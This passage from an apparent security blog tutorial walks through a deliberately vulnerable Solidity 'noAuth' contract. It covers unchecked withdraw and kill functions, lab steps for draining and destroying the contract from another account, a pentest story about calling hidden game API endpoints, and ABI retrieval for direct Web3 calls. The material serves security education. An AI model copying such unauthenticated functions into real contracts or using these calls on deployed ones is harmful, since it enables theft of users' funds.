yes;"> </span></span><span style="color: #e28964;">function</span><span style="color: white;"> withdraw(</span><span style="color: #e28964;">uint</span><span style="color: white;"> amount) </span><span style="color: #e28964;">public</span><span style="color: white;"> payable {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">11.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><span style="mso-tab-count: 1;"> </span>msg.sender.transfer(amount);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">12.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">13.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span><o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">14.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span></span><span style="color: #e28964;">function</span><span style="color: white;"> kill() </span><span style="color: #e28964;">public</span><span style="color: white;"> {<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">15.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>selfdestruct(msg.sender);<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">16.</span></span><!--[endif]--><span style="color: white;"><span style="mso-spacerun: yes;"> </span>}<o:p></o:p></span></pre><pre style="background: black; border: none; margin-left: 0.25in; mso-border-alt: solid #888888 .75pt; mso-list: l6 level1 lfo13; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; mso-padding-alt: 2.0pt 2.0pt 2.0pt 2.0pt; padding: 0in; text-indent: -0.25in;"><!--[if !supportLists]--><span style="color: white; mso-fareast-font-family: "Courier New";"><span style="mso-list: Ignore;">17.</span></span><!--[endif]--><span style="color: white;">}<o:p></o:p></span></pre></div>
<p class="MsoNormal"><span style="color: white;"> </span><o:p></o:p></p>
<p class="MsoNormal">The noAuth contract above is setup like a mini bank account,
where you have the ability to deposit your funds and withdraw your funds. The
funds are mapped to your msg.sender address on line 4.<span style="mso-spacerun: yes;"> </span>However, there are a few flaws with the way
this contract is setup, both in authorization as well as business logic.<span style="mso-spacerun: yes;"> </span><o:p></o:p></p>
<p class="MsoNormal">Let’s go through the code and look about how it is
setup.<span style="mso-spacerun: yes;"> </span>First, we have a deposit function
on line 6 which accepts a value transfer via the “payable” keyword and applies
the value to your current balance associated with your address.<span style="mso-spacerun: yes;"> </span>This function seems ok. <o:p></o:p></p>
<p class="MsoNormal">Next, we have a withdraw function which receives an amount
and transfers that amount to the address which calls the function. But. <o:p></o:p></p>
<blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoListParagraphCxSpFirst" style="mso-list: l15 level1 lfo9; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";">
</span></span></span><!--[endif]-->The withdraw function never actually checks if
you have a balance associated with your address</p><p class="MsoListParagraphCxSpLast" style="mso-list: l15 level1 lfo9; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";">
</span></span></span><!--[endif]-->It also doesn’t validate if you have enough in
your balance to send the amount you’re asking for. </p></blockquote><p class="MsoListParagraphCxSpFirst" style="mso-list: l15 level1 lfo9; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpLast" style="mso-list: l15 level1 lfo9; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<p class="MsoNormal">That poses a few interesting questions:</p><p class="MsoListParagraphCxSpFirst"></p><ol style="text-align: left;"><li> Where is this function withdrawing funds from if you don’t have a balance associated with your address?</li><li>Can you simply liquidate the funds from the account as a whole?</li></ol><p></p>
<p class="MsoNormal" style="text-align: left;"><o:p> </o:p></p>
<p class="MsoNormal">Is this a potential business logic / authorization issue? <o:p></o:p></p>
<p class="MsoNormal">Finally, we have a kill function on line 14, which simply
calls the built-in solidity self-destruct function and transfers all of the
contract’s funds to the caller of the function. This function will terminate
the contracts functionality permanently and liquidate the contracts funds into
the account address which ran the kill function. Much like the other two
functions the kill function has no authorization, poses a risk to everyone’s
funds, and leaves the whole contract vulnerable to termination. <o:p></o:p></p>
<p class="MsoNormal">Let’s play around with this functionality and determine if
this is true within the Remix UI. <o:p></o:p></p>
<p class="MsoNormal">Action Steps: <o:p></o:p></p>
<blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoListParagraphCxSpFirst" style="mso-list: l10 level1 lfo4; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";">
</span></span></span><!--[endif]-->Deposit 10 Ether via the deposit function with
the value field using account one.</p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l10 level1 lfo4; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";">
</span></span></span><!--[endif]-->Switch accounts to account two which has no funds
and try to withdraw funds. Did it work? </p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l10 level1 lfo4; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";">
</span></span></span><!--[endif]-->Now call the kill function from account two.
What happened? </p><p class="MsoListParagraphCxSpLast" style="mso-list: l10 level1 lfo4; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";">
</span></span></span><!--[endif]-->Try to withdraw funds again with either account.
What happened?<span style="mso-spacerun: yes;"> </span></p></blockquote><p class="MsoListParagraphCxSpFirst" style="mso-list: l10 level1 lfo4; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l10 level1 lfo4; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l10 level1 lfo4; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpLast" style="mso-list: l10 level1 lfo4; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p><p class="MsoNormal">Vulnerable Authorization Code WalkThrough: </p><div class="separator" style="clear: both; text-align: center;"><iframe allowfullscreen="" class="BLOG_video_class" height="266" src="https://www.youtube.com/embed/i6N7ns0FO90" width="320" youtube-src-id="i6N7ns0FO90"></iframe></div><br /><p class="MsoNormal"><br /></p><p class="MsoNormal"><o:p><br /></o:p></p>
<h2><a name="_Toc47892511">Thinking about Smart Contracts as unpublished API’s
for DApps</a><o:p></o:p></h2>
<p class="MsoNormal">There are multiple critical issues with the above smart
contract:<o:p></o:p></p>
<blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoListParagraphCxSpFirst" style="mso-list: l12 level1 lfo5; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";">
</span></span></span><!--[endif]-->It’s not validating the logic that users need to
have funds associated with their account to make withdrawals.<span style="mso-spacerun: yes;"> </span></p><p class="MsoListParagraphCxSpLast" style="mso-list: l12 level1 lfo5; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";">
</span></span></span><!--[endif]-->It’s not stopping a user from killing the
contract and liquidating all of the funds of other accounts. </p></blockquote><p class="MsoListParagraphCxSpFirst" style="mso-list: l12 level1 lfo5; text-indent: -0.25in;"><o:p></o:p></p>
<p class="MsoListParagraphCxSpLast" style="mso-list: l12 level1 lfo5; text-indent: -0.25in;"><o:p></o:p></p>
<h2>But I have UI mitigation's!! <o:p></o:p></h2>
<p class="MsoNormal">What if a developer mitigates the issues via a Web or Mobile
DApp simply by not providing a way for a user to execute the Kill functionality
unless that user is the administrator in the DApp.<span style="mso-spacerun: yes;"> </span>Also, what if the UI manages your funds on
the DApp’s business logic. For example, restricting you from withdrawing funds
if the address using the DApp does not have an appropriate balance.<span style="mso-spacerun: yes;"> </span>So, we are safe right? <o:p></o:p></p>
<p class="MsoNormal">No, not really, much like an API we can call these directly
without ever accessing the UI.<span style="mso-spacerun: yes;"> </span>By
directly calling the public functions of the smart contract, we do not have UI
or middleware restrictions. In the web app world this would be equivalent to
Indirect object reference (IDOR).<span style="mso-spacerun: yes;"> </span>You
often see this with video games or web applications where the application from
the front end looks good with solid restrictions. But then you start doing some
enumeration you realize that all of the functionality comes from an API. <o:p></o:p></p>
<p class="MsoNormal">If you start poking around that API enumerating endpoints
and fuzzing keywords you often will start finding API endpoints with
interesting names that do things intended only for developers and
administrators. This can lead to sensitive information disclosure or the
ability to change and modify sensitive data. This is a very typical occurrence
in web applications and Smart Contracts are no different. <o:p></o:p></p>
<h2><a name="_Toc47892512">Case of the Video Game Heist</a><o:p></o:p></h2>
<p class="MsoNormal">For example, I was performing a penetration test against a
large video game development shop whose primary fear was the ability to bypass
the in-app purchases functionality. <o:p></o:p></p>
<p class="MsoNormal">I first started playing the video game and getting a feel
for the game play and sequence of events. For example, the gameplay, how money
transfers worked and how in-app purchases were processed. Everything seemed
pretty good from the perspective of the mobile and web application UI
parameters.<span style="mso-spacerun: yes;"> </span>I noted all of the calls
were to external APIs and decided to take a look at those.<o:p></o:p></p>
<p class="MsoNormal">I setup both a local TCP sniffer on the mobile application, a
TCP proxy and captured all of the web requests using a web proxy while playing
the game.<span style="mso-spacerun: yes;"> </span>When reviewing the output, I
noticed some interesting calls which exposed a list of every API endpoint in
the application.<o:p></o:p></p>
<p class="MsoNormal">I started looking at the returned API endpoints and noted
many functions which were not available to me from within the mobile
application. Most notably for the client was functions named something similar
to Get_Gold, and Get_All_Items. These endpoint names seemed interesting to me
so I coded up a python loop which called the API for Get_Gold 100 times. At
this point my Gold within the game increased 100-fold. Next, I called the
Get_All_items endpoint and received every single item in the game for free. <o:p></o:p></p>
<p class="MsoNormal">At this point I didn’t even need the gold which I just stole
as I owned every single item in the game.<span style="mso-spacerun: yes;">
</span>Apparently, these were created by developers and never removed from the
API endpoints. Instead they were just restricted by not having the
functionality available on the UI of the game. <o:p></o:p></p>
<p class="MsoNormal">Yes, sometimes it is just that easy!!!<span style="mso-spacerun: yes;"> </span>But how do we do this with a smart contract? <o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<h2><a name="_Toc47892513">Enumerating functions in a contract</a><o:p></o:p></h2>
<p class="MsoNormal">So how does this story relate to your Smart Contracts?<span style="mso-spacerun: yes;"> </span>Well we have a few options available to us
when trying to enumerate public functionality so we can make direct calls.<span style="mso-spacerun: yes;"> </span>The most useful resources for enumerating
these issues is both the sour<br />ce code and the Application Binary Interface
(ABI). <o:p></o:p></p>
<p class="MsoNormal">First, we can take a look at the source code, if you are
performing the penetration test the client should provide the source code. If
the client does not provide the source code, most Ethereum projects tend to be
open source, so you should find a GitHub with the source code. A third option
for retrieving the source code would be pulling it from etherscan.io at the
address where the contract is deployed. This should be located under the
contract tab.<span style="mso-spacerun: yes;"> </span>For example, try the
following steps to illustrate this point:</p><p class="MsoListParagraph"><br />Go to etherscan.io and type chainlink into the search field at the top right and click the result shown below that pops up while your typing: </p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijlH32ouLjyJRJBYf_bso3E4w5nEh05DEfKegTVp0p1mV4-igNUSj4-Qtgj5LRvQQta-VWEaG7tYWOR2zT2xVwD_6wpX8lPogqaSjN-_F6JLD5t9swhQ3-pX69YvQjR3Hake-LJ5ft08sU/s496/2.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="205" data-original-width="496" height="258" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEijlH32ouLjyJRJBYf_bso3E4w5nEh05DEfKegTVp0p1mV4-igNUSj4-Qtgj5LRvQQta-VWEaG7tYWOR2zT2xVwD_6wpX8lPogqaSjN-_F6JLD5t9swhQ3-pX69YvQjR3Hake-LJ5ft08sU/w625-h258/2.png" width="625" /></a></div><br /><p class="MsoListParagraph"><br /><br />Next under the profile summary click the contract address: </p><p class="MsoListParagraph"></p><div style="text-align: center;"><img border="0" data-original-height="232" data-original-width="468" height="249" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgB1NFowXHb8-iVC84Ooyx-h8nVK6vOvHvbEnF-oov2WDFm4v9qLv5JC5bqQ8g_ipFZngZ0kCpCJfumTC9Yv_91n50rYZtWSrwjeqA0nD3_1r4ZpGqtMzQs0K6TJs9w1MGVM8flHaFmo8Ks/w500-h249/3.png" width="500" /></div><br />You will then see a contract tab on the page that loads. Click that:<p></p>
<p class="MsoNormal"><span style="mso-no-proof: yes;"><v:shape id="Picture_x0020_26" o:spid="_x0000_i1029" style="height: 83.25pt; mso-wrap-style: square; visibility: visible; width: 468pt;" type="#_x0000_t75">
<v:imagedata o:title="" src="file:///C:/Users/ficti0n/AppData/Local/Temp/msohtmlclip1/01/clip_image004.png">
</v:imagedata></v:shape></span><o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDp2E93yjdXxyUBnYL5DL36NpVSKeRvL7ekbUOPVDXy395YboISaa-TzkkztZ_bjnMKVuNeP_2rcjEdIYmeOVwFsVvou9bQfjsJ82IodGhIUvN6nqY9p4ePhQAkFpjD8cxxk77UfVO_jPv/s942/4.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="167" data-original-width="942" height="111" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiDp2E93yjdXxyUBnYL5DL36NpVSKeRvL7ekbUOPVDXy395YboISaa-TzkkztZ_bjnMKVuNeP_2rcjEdIYmeOVwFsVvou9bQfjsJ82IodGhIUvN6nqY9p4ePhQAkFpjD8cxxk77UfVO_jPv/w625-h111/4.png" width="625" /></a></div><br /><p></p>
<p class="MsoListParagraph" style="mso-list: l4 level1 lfo11; text-indent: -0.25in;"><!--[if !supportLists]--><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;">4.<span style="font: 7pt "times new roman";">
</span></span></span><!--[endif]-->This will provide the source code for the
application if it’s available and it will provide the ABI: <o:p></o:p></p><p class="MsoListParagraph" style="mso-list: l4 level1 lfo11; text-indent: -0.25in;">ol</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkYiluRJjer-SPUPM8sGjXSByvqM0v3UN5dddtDpMIIS0slMsnqDzC8gxqPjbMaSII6NLLPebgiNKB2I2f9YgHGWhbyH_D-VhqtAbYFT0R7W2XM6XWxHX2Ztx4e2wNDVx8Hg9RZqmHPoyt/s482/5.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="218" data-original-width="482" height="283" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkYiluRJjer-SPUPM8sGjXSByvqM0v3UN5dddtDpMIIS0slMsnqDzC8gxqPjbMaSII6NLLPebgiNKB2I2f9YgHGWhbyH_D-VhqtAbYFT0R7W2XM6XWxHX2Ztx4e2wNDVx8Hg9RZqmHPoyt/w625-h283/5.png" width="625" /></a></div><br /><p></p>
<p align="center" class="MsoNormal" style="text-align: center;"><span style="mso-no-proof: yes;"><v:shape id="Picture_x0020_27" o:spid="_x0000_i1028" style="height: 141pt; mso-wrap-style: square; visibility: visible; width: 312pt;" type="#_x0000_t75">
<v:imagedata o:title="" src="file:///C:/Users/ficti0n/AppData/Local/Temp/msohtmlclip1/01/clip_image005.png">
</v:imagedata></v:shape></span><o:p></o:p></p>
<p class="MsoNormal">Secondly you will want the ABI for the contract in order to
interact with it. The ABI is a JSON file which describes the functionality of
the smart contract and how to interact with its functions.<span style="mso-spacerun: yes;"> </span>You can also generally obtain this exactly as
you did above from the contract tab of etherscan.io shown below. <o:p></o:p></p>
<p align="center" class="MsoNormal" style="text-align: center;"><span style="mso-no-proof: yes;"><v:shape id="Picture_x0020_28" o:spid="_x0000_i1027" style="height: 135.75pt; mso-wrap-style: square; visibility: visible; width: 221.25pt;" type="#_x0000_t75">
<v:imagedata o:title="" src="file:///C:/Users/ficti0n/AppData/Local/Temp/msohtmlclip1/01/clip_image006.png">
</v:imagedata></v:shape></span><o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyzuRkqITCe1SG0_hZpRDnQ_LShUGSxJqEgcs85Jle8n2N23PdkMhuSTnpoGRKL6F1kQ-kR_LOT3rrHQ7xzBHaAVN7aLI_0ccp_OWAx5RW1BM45Cy_SqcJ5dN2Jtf4TBeONFCybXyuk2-K/s427/6.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="262" data-original-width="427" height="306" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjyzuRkqITCe1SG0_hZpRDnQ_LShUGSxJqEgcs85Jle8n2N23PdkMhuSTnpoGRKL6F1kQ-kR_LOT3rrHQ7xzBHaAVN7aLI_0ccp_OWAx5RW1BM45Cy_SqcJ5dN2Jtf4TBeONFCybXyuk2-K/w500-h306/6.png" width="500" /></a></div><br /><p></p>
<p class="MsoNormal">Another option if you were provided a contract from the
client is to deploy a contract to Remix and grab the ABI that is created. You
can grab this in Remix under the compiler section under compiler details. Just
click the ABI text and it will copy it to your clipboard.<o:p></o:p></p>
<p align="center" class="MsoNormal" style="text-align: center;"><span style="mso-no-proof: yes;"><v:shape id="Picture_x0020_21" o:spid="_x0000_i1026" style="height: 205.5pt; mso-wrap-style: square; visibility: visible; width: 192pt;" type="#_x0000_t75">
<v:imagedata o:title="" src="file:///C:/Users/ficti0n/AppData/Local/Temp/msohtmlclip1/01/clip_image007.png">
</v:imagedata></v:shape></span><o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"><o:p> </o:p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpPtp__QDReAne7FF6wge07zK6om3ZREZ-JfY6dEUbyrUAnIvLYHiP0XsSrof7lz7RqycaE_QqBI8N-HLi30fwYCmLeOgMjWSUAk70ectgUspAG9Ul7WBfVydICrAg6RwZU1XdeKgUD52g/s329/7.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="329" data-original-width="307" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpPtp__QDReAne7FF6wge07zK6om3ZREZ-JfY6dEUbyrUAnIvLYHiP0XsSrof7lz7RqycaE_QqBI8N-HLi30fwYCmLeOgMjWSUAk70ectgUspAG9Ul7WBfVydICrAg6RwZU1XdeKgUD52g/s320/7.png" /></a></div><br /><p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">An ABI file for
our noAuth contract will look something like the following Snippet.<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">___________________________________________________________________________________<o:p></o:p></p>
<p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> [{<o:p></o:p></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> "inputs":
[],<o:p></o:p></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> "name":
"deposit",<o:p></o:p></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> "outputs":
[],<o:p></o:p></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> "stateMutability":
"payable",<o:p></o:p></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> "type":
"function"<o:p></o:p></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> },<o:p></o:p></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> {<o:p></o:p></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> "inputs":
[],<o:p></o:p></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> "name":
"kill",<o:p></o:p></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> "outputs":
[],<o:p></o:p></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> "stateMutability":
"nonpayable",<o:p></o:p></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> "type":
"function"<o:p></o:p></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> },<o:p></o:p></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> {<o:p></o:p></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> "inputs":
[<o:p></o:p></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> {<o:p></o:p></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> "internalType":
"uint256",<o:p></o:p></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> "name": "amount",<o:p></o:p></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> "type": "uint256"<o:p></o:p></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> }<o:p></o:p></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> ],<o:p></o:p></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> "name":
"withdraw",<o:p></o:p></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> "outputs":
[],<o:p></o:p></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> "stateMutability":
"payable",<o:p></o:p></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> "type":
"function"<o:p></o:p></p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;">
</p><p class="MsoNormal" style="line-height: normal; margin-bottom: 0in;"> }]<o:p></o:p></p>
<p class="MsoNormal">___________________________________________________________________________________<o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<p class="MsoNormal">Notice that the ABI above is simply just a JSON file that
describes the functions in the contract for example the last function in the
ABI shows the withdraw function with the following elements: <o:p></o:p></p>
<blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoListParagraphCxSpFirst" style="mso-list: l0 level1 lfo6; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";">
</span></span></span><!--[endif]-->It takes an amount with the type uint256</p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l0 level1 lfo6; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";">
</span></span></span><!--[endif]-->It says it has no outputs </p><p class="MsoListParagraphCxSpMiddle" style="mso-list: l0 level1 lfo6; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";">
</span></span></span><!--[endif]-->It is payable meaning it can send and receive
transactions </p><p class="MsoListParagraphCxSpLast" style="mso-list: l0 level1 lfo6; text-indent: -0.25in;"><span style="font-family: Wingdings; mso-bidi-font-family: Wingdings; mso-fareast-font-family: Wingdings;"><span style="mso-list: Ignore;">ü<span style="font: 7pt "times new roman";">
</span></span></span><!--[endif]-->It also notes that it is a function</p></blockquote><p class="MsoListParagraphCxSpFirst" style="mso-list: l0 level1 lfo6; text-indent: -0.25in;"><!--[if !supportLists]--><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l0 level1 lfo6; text-indent: -0.25in;"><!--[if !supportLists]--><o:p></o:p></p>
<p class="MsoListParagraphCxSpMiddle" style="mso-list: l0 level1 lfo6; text-indent: -0.25in;"><!--[if !supportLists]--><o:p></o:p></p>
<p class="MsoListParagraphCxSpLast" style="mso-list: l0 level1 lfo6; text-indent: -0.25in;"><!--[if !supportLists]--><o:p></o:p></p>
<p class="MsoNormal"><o:p> </o:p></p>
<p class="MsoNormal">So, the question is, how we can call these public functions
directly if they were not programmed into the UI? The answer is we can use Web3
and programmatically interact with the contract via its ABI to bypass any
front-end restrictions.<span style="mso-spacerun: yes;"> </span><o:p></o:p></p>
<p class="MsoNormal">Let’s directly interact with the noAuth contract and then
let’s implement authorization and requirement checks. This way you understand
how to access public functions but also ways to properly prevent authorization
issues with standard security libraries. This also helps with knowing what to
look for when reviewing contract source code.<span style="mso-spacerun: yes;">
</span><o:p></o:p></p>
<h2><br /></h2>
<h2><a name="_Toc47892514">Directly Calling Public Functions with Web3.js</a></h2>
<p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Steps for setting up the lab: <o:p></o:p></span></p>
<p class="MsoNormal"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">(Follow the video in the below reference section if you want a
walkthrough of the setup)<o:p></o:p></span></p>
<blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px; text-align: left;"><p class="MsoListParagraphCxSpFirst" style="line-height: 115%; margin-bottom: 0in; mso-add-space: auto; mso-list: l14 level1 lfo7; text-indent: -0.25in;"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;">1.<span style="font: 7pt "times new roman";">
</span></span></span><!--[endif]--><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Open up your browser, and in Remix and create
the noAuth.sol file <o:p></o:p></span></p><p class="MsoListParagraphCxSpMiddle" style="line-height: 115%; margin-bottom: 0in; mso-add-space: auto; mso-list: l14 level1 lfo7; text-indent: -0.25in;"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;">2.<span style="font: 7pt "times new roman";">
</span></span></span><!--[endif]--><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Start Ganache-Cli on in your terminal <o:p></o:p></span></p><p class="MsoListParagraphCxSpMiddle" style="line-height: 115%; margin-bottom: 0in; mso-add-space: auto; mso-list: l14 level1 lfo7; text-indent: -0.25in;"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;">3.<span style="font: 7pt "times new roman";">
</span></span></span><!--[endif]--><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Set the provider in Remix Deploy section to
Web3 Provider<o:p></o:p></span></p><p class="MsoListParagraphCxSpMiddle" style="line-height: 115%; margin-bottom: 0in; mso-add-space: auto; mso-list: l14 level1 lfo7; text-indent: -0.25in;"><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;"><span style="mso-list: Ignore;">4.<span style="font: 7pt "times new roman";">
</span></span></span><!--[endif]--><span style="mso-bidi-font-family: Calibri; mso-bidi-theme-font: minor-latin;">Deploy the noAuth.sol contract, which will now
